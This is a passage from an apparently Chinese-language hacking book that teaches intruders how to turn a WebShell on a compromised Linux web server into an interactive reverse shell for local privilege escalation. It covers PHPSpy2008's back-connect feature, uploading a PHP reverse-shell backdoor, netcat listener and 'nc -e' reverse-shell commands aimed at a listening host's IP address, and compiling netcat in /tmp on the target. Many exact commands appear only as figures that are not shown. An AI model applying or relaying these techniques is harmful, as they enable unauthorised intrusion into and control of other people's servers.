13.2 Linux下通過WebShell反彈Shell的技巧
Linux下通過WebShell反彈CmdShell,在網站伺服器入侵提權過程中的應用比Windows環境下更廣更頻繁。
Linux提權絕大部分都靠的是Local Exploit。WebShell一般都可以執行命令,但是溢出必須在可互動環境運行,否則如果直接在WebShell執行,即使能溢出提權成功,也沒法利用。因此必須要反彈一個Shell命令列視窗,在命令列終端下執行溢出進行提權。
13.2.1 使用PHP WebShell木馬反彈Shell
一般情況下,大多數PHP WebShell木馬後門都帶有的Back Connect功能彈回一個Shell。例如在PHPSpy2008木馬後門中,有一個Back Connect反彈串連功能,可以反彈獲得一個繼承當前WebShell許可權的Shell命令視窗。
在使用Back Connect反彈串連功能前,首先需要使用NC工具在本地監聽一個未使用的連接埠,例如監聽本地8888連接埠,執行如下命令:
然後在WebShell的Back Connect反彈串連功能頁中,會自動檢測原生IP地址,在“Your IP”中顯示本機IP,在“Your Port”中輸入監聽的連接埠,這裡為8080。然後選擇要使用的反彈串連方式,PHPSpy2008提供了兩種反彈串連方式,Perl和C,這裡使用Perl反彈(圖403)。
圖403
設定完畢後,點擊“Start”按鈕,即可發送Shell視窗到監聽連接埠了。在NC監聽視窗中,可得到一個Shell命令列視窗(圖404)。
圖404
除了PHPSpy2008之外,還有一些專用的PHP反彈shell網頁後門。首先在本地用文字編輯器開啟PHP反彈shell網頁後門檔案,在其中找到如下代碼內容:
圖405
修改設定其中的反彈IP地址111.123.96.28為本機IP地址,預設反彈連接埠為8888,可進行修改(圖405)。修改後儲存檔案,將其通過WebShell上傳。假設上傳後的連結地址為http://www.***.com/shell.php。然後在本地開啟命令提示字元視窗,執行如下命令:
使用nc監聽本地的8888連接埠。在瀏覽器中訪問http://www.***.com/shell.php,在nc監聽的連接埠中,就可以獲得一個從網站伺服器上返回來的命令列Shell了。
13.2.2 使用NC反彈Shell
在進行Shell反彈時,有時會碰到伺服器不支援PHP或者WebShell無法成功反彈Shell的情況,例如有的伺服器只支援JSP,不支援PHP。此時,可以同樣採用Windows下的經典的NC反彈Shell方法。
在Windows下反彈CmdShell時,首先要在本機運行“nc -vv -l -p 連接埠號碼”監聽連接埠,然後在WebShell中執行“nc -e cmd.exe 監聽主機IP地址 連接埠”,就可以反彈一個CmdShell。這個方法在Linux中仍然可行,只不過需要作一點小小的改動。
——在本機監聽連接埠後,在WebShell運行nc反彈時,需要發送的是“/bin/sh”,而不是cmd.exe,這樣才夠反彈發送一個Linux下的Shell命令列視窗給監聽主機。例如執行如下命令:
即可反彈一個Shell到IP地址為119.1.44.32的監聽主機的8888連接埠。
13.2.3 遠程主機無NC工具時的解決辦法
在使用NC反彈Shell時,還會碰到遠程主機上不能直接執行nc,或者沒有安裝nc工具。碰到這樣的情況,可以給手工給遠程主機安裝一個NC,比較方便的方法是,到http://netcat.sourceforge.net/download.php下載nc源碼,然後在本地Linux機器上編譯成可執行程式後,再將編譯檔案上傳到遠程主機上。如果本地編譯的程式在遠程主機上無法使用,可以直接把源碼傳上去後,在目標機器上直接編譯。
如果需要在目標機器上編譯NC的話,需要注意一些問題,因為在得到Shell命令列視窗前,只能在WebShell裡執行命令,一般每次只能執行一條,然後等待執行後的結果回顯。
另外,在編譯時間需要注意程式執行路徑的問題。由於Linux下使用權限設定非常嚴格,即使攻擊者獲得了WebShell,也可能無法直接在WEB網頁目錄下寫入檔案,只能在/tmp之類的檔案夾中上傳寫入NC源檔案(圖406)。
圖406
例如WebShell在/var/www/目錄,那麼在WebShell中執行命令預設的當前路徑都是/var/www/,如果netcat源碼包解壓在了/tmp/netcat-0.7.1檔案夾,在編譯netcat進行make操作時,由於當前路徑是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作時會出錯。解決這個問題其實很簡單,可以直接把切換路徑和make操作兩句命令寫成一句,用分號隔開寫就可以了。
將netcat-0.7.1源檔案上傳到可寫檔案夾/tmp中後,在WebShell中編譯nc的操作過程及命令如下:
圖407
執行該命令後,可以將netcat-0.7.1源檔案解壓到/tmp/netcat-0.7.1目錄中(圖407)。然後再執行命令:
配置完畢後,再執行如下命令進行編譯:
由於使用了分號,可同時執行兩條命令,將make跟在目錄切換命令後面,在編譯的時候就不會報錯了(圖408)。
圖408
編譯成功以後,就可以輸入命令反彈Shell了,例如這裡nc路徑是/tmp/netcat-0.7.1/nc,在本地執行“nc -vv -l -p 8080”命令監聽8080號連接埠後,在WebShell中執行如下命令(圖409):
圖409
即可向主機反彈回一個Shell命令列視窗了。需要注意的是,反彈的Linux Shell是沒有$提示符的,執行一句返回一句(圖410)。另外,這裡反彈Shell時候啟動並執行是/bin/sh,也可以反彈運行/bin/bash,但/bin/sh的許可權比/bin/bash要設定松一些,因此成功率更高一些。
圖410